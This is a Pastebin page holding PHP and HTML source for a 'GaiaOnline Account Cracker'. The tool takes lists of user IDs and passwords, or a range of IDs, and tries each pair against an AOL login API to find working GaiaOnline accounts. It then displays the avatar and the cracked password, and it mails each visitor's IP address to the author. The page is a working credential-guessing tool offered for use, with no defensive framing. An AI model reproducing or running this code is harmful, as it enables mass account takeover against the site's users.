Personoid

GaiaOnline Account Cracker

Jul 10th, 2011
378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.57 KB | None | 0 0
  1. <?php
  2.     set_time_limit (30);
  3.     $loggedIn_f = false;
  4.     function formatdata($array, $m) {
  5.         if ($m == 102) {
  6.             $html_str = '                   <span class="avatar"><a href="http://www.gaiaonline.com/profiles/{[_URLUSERNAME_]}/{[_URLUSERID_]}"><img class="accountimg" alt="avatar" src="{[_AVATARURL_]}" /></a></span><br />
  7.                     <span class="userid"><a href="http://www.gaiaonline.com/profiles/{[_URLUSERNAME_]}/{[_URLUSERID_]}">{[_USERNAME_]}</a></span><br />
  8.                     <span class="password">{[_PASSWORD_]}</span>';
  9.             $temp_str = str_replace('{[_AVATARURL_]}', $array[14], $html_str);
  10.             $temp_str = str_replace('{[_URLUSERNAME_]}', urlencode($array[3]), $temp_str);
  11.             $temp_str = str_replace('{[_URLUSERID_]}', urlencode($array[2]), $temp_str);
  12.             $temp_str = str_replace('{[_USERNAME_]}', htmlspecialchars($array[3]), $temp_str);
  13.             $temp_str = str_replace('{[_PASSWORD_]}', htmlspecialchars($_GET['p']), $temp_str);
  14.             return $temp_str;
  15.         } elseif ($m == 108) {
  16.             return formatdata(explode("\x01", http_request(0, 0, "http://www.gaiaonline.com/chat/gsi/?m=107%01".$array[2])), 102);
  17.         } else {
  18.             return 0;
  19.         }
  20.     }
  21.    
  22.     function http_request($data, $cookies, $url, $https = false, $headers = false, $curlinfo = false) {
  23.         $ch = curl_init($url);
  24.         curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)');
  25.         if ($cookies) curl_setopt($ch, CURLOPT_COOKIE, $cookies);
  26.         if ($data) curl_setopt($ch, CURLOPT_POST, true);
  27.         if ($data) curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  28.         if ($https) curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  29.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  30.         if ($headers) curl_setopt($ch, CURLOPT_HEADER, true);
  31.         curl_setopt($ch, CURLINFO_HEADER_OUT, true);
  32.         $temp = curl_exec($ch);
  33.         $tempz = curl_getinfo($ch);
  34.         preg_match_all('/^Set-Cookie: (.*?);/mi', $temp, $m);
  35.         curl_close($ch);
  36.         if (!empty($m[1])) {
  37.             foreach ($m[1] as $m) {
  38.                 $z = explode("=", $m);
  39.                 setcookie($z[0], $z[1], 0, "/", $_SERVER['SERVER_NAME'], false, true);
  40.             }
  41.         }
  42.         if ($curlinfo) return $tempz; else return $temp;
  43.     }
  44.    
  45.     /*if (isset($_COOKIE['admin'])) {
  46.         if ($_COOKIE['admin'] != md5(md5("accessgranted").md5("letMeIn").date("F d, o"))) {
  47.             $loggedIn_f = false;
  48.         }
  49.     }*/
  50.  
  51.     if (isset($_GET['u']) || isset($_GET['p'])) {
  52.         if (!empty($_GET['u']) && !empty($_GET['p'])) {
  53.             $postdata  = "language=en-us&f=xml&pwd=".urlencode($_GET['p'])."&devId=ao1YRSKjsMZCuqyh&tokenType=longterm&s=";
  54.             $postdata .= urlencode($_GET['u'])."@gaiaonline.com&clientName=gromit&cacheflag=3&clientVersion=v0.1";
  55.            
  56.             do {
  57.                 $response_str = http_request($postdata, 0, "https://api.screenname.aol.com/auth/clientLogin", 1);
  58.             } while (stristr($response_str, "<title>420 unused</title>"));
  59.            
  60.             if (stristr($response_str, "<statusCode>200</statusCode>")) {
  61.                 //echo $response_str;
  62.                 echo formatdata(explode("\x01", http_request(0, 0, "http://gaiaonline.com/chat/gsi/?m=102%01".urlencode($_GET['u']))), 102);       
  63.             } else {
  64.                 echo "Invalid login";
  65.                 //echo $response_str;
  66.                 //echo formatdata(explode("\x01", http_request(0, 0, "http://gaiaonline.com/chat/gsi/?m=102%01".$_GET['u'])), 102);
  67.             }
  68.         }
  69.         die;
  70.     } else {
  71.     mail("angel@wonoes.com", "Web Hit {".date("M j, g:i A")."}", $_SERVER['REMOTE_ADDR'], "From: cracker@wonoes.com\n");
  72. ?><html>
  73.     <head>
  74.         <title>GaiaOnline Account Cracker - Drahaus Industries</title>
  75.         <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
  76.         <meta http-equiv="cache-control" content="no-cache" />
  77.         <link type="text/css" href="css/custom-theme/jquery-ui-1.8.11.custom.css" rel="stylesheet" />  
  78.         <link rel="stylesheet" href="./assets/css/formalize.css" />
  79.         <script src="./assets/js/jquery.formalize.js"></script>
  80.         <script type="text/javascript" src="./js/cfunctions.js"></script>
  81.         <script type="text/javascript" src="http://code.jquery.com/jquery-1.5.2.min.js"></script>
  82.         <script type="text/javascript" src="https://github.com/kvz/phpjs/raw/master/functions/strings/explode.js"></script>
  83.         <script type="text/javascript" src="https://github.com/kvz/phpjs/raw/master/functions/strings/stristr.js"></script>
  84.         <script type="text/javascript" src="./js/jquery-ui-1.8.11.custom.min.js"></script>
  85.         <script type="text/javascript">
  86.             $(function(){
  87.                 $('#dialog').dialog({
  88.                     autoOpen: true,
  89.                     width: 600,
  90.                     buttons: {
  91.                         "UID List": function() {
  92.                             $(this).dialog("close");
  93.                             UID_f = false;
  94.                             $('#form1').removeClass("invis");
  95.                         },
  96.                         "UID Span": function() {
  97.                             $(this).dialog("close");
  98.                             UID_f = true;
  99.                             $('#form2').removeClass("invis");
  100.                         }
  101.                     }
  102.                 });
  103.                 $('#options').dialog({
  104.                     autoOpen: false,
  105.                     width: 600,
  106.                     buttons: {
  107.                         "Load Presets": function() {
  108.                             loadPresets();
  109.                         },
  110.                         "Clear Input": function() {
  111.                             clearInput();
  112.                         },
  113.                         "Clear Cracked": function() {
  114.                             clearAccounts();
  115.                         },
  116.                         "Close": function() {
  117.                             $(this).dialog("close");
  118.                         }
  119.                     }
  120.                 });
  121.             });
  122.         </script>
  123.         <style type="text/css">
  124.         <!--
  125.             body{margin: 0 auto; padding:0; background-color:#fefefe; font-family: "Segoe UI"; font-size:12px;}
  126.             p{padding:0; margin:0;}
  127.             span{margin-bottom: 20px;}
  128.             img {border:none;}
  129.             #textarea1, #textarea2{text-align:center; width:200px; height:250px;}
  130.             #textarea3{text-align:center; width:303px; height:250px;}
  131.             a,a:visited{color:#00679b; text-decoration:none;}
  132.             a:hover{color:#00679b; text-decoration:underline;}
  133.             input[type="text"]{width:150px;}
  134.             #wrapper{margin: 0 auto; padding:0; text-align:center; width:960px;}
  135.             #accounts{width:890px; text-align:center;}
  136.             #cracked div{float:left;}
  137.             #tried div{float:left; display:none;}
  138.             .invis{display:none;}
  139.             .password{color:#00679b}
  140.             .accountdiv{border:1px solid #000; width: 125px; height:190px; text-align:center; margin:0 auto; padding:0;}
  141.             .accountimg{height:150px; width:120px; margin:0 auto;}
  142.         -->
  143.         </style>
  144.     </head>
  145.     <body>
  146.         <div id="wrapper">
  147.             <div id="dialog" title="Angel's GaiaOnline &quot;Cracker&quot;">
  148.                 <span>Do you want to use a UID list or a span of UIDs?</span><br /><br />
  149.                 <span>With a span of UIDs, you choose a minimum and a maximum. The program tries all accounts starting at the minumum and stopping at the max. e.g. 3-9000.</span><br />
  150.                 <span>We can't support usernames because they aren't reliable in this method.</span><br />
  151.                 <p style="text-align:right;">
  152.                     <span ><em>-Angel of Drahaus Industries (AKA Personoid)</em></span>
  153.                 </p>
  154.             </div>
  155.             <div id="options">Choose one of the following options.</div>
  156.             <div id="form1" class="invis">
  157.                 <p>
  158.                     <span>Enter User IDs; 1 per line.</span>
  159.                     <span>&nbsp;Enter passwords; 1 per line.</span><br />
  160.                     <textarea id="textarea1"></textarea>
  161.                     <textarea id="textarea2"></textarea><br />
  162.                     <input type="submit" id="ctoggle" onclick="startCracking();" value="Start"/>
  163.                     <input type="submit" onclick="$('#options').dialog('open');" value="Options"/>
  164.                 </p>
  165.             </div>
  166.             <div id="form2" class="invis">
  167.                 <p>
  168.                     <input type="text" id="input1" onkeypress="return noNumbers(event);" />
  169.                     <input type="text" id="input2" onkeypress="return noNumbers(event);" /><br />
  170.                     <textarea id="textarea3"></textarea><br />
  171.                     <input type="submit" id="ctoggle2" onclick="startCracking();" value="Start"/>
  172.                     <input type="submit" onclick="$('#options').dialog('open');" value="Options"/>
  173.                 </p>
  174.             </div>
  175.             <div id="accounts">
  176.                 <div id="cracked"></div>
  177.             </div>
  178.         </div>
  179.     </body>
  180. </html>
  181. <?php
  182. }
  183. ?>
Add Comment
Please, Sign In to add comment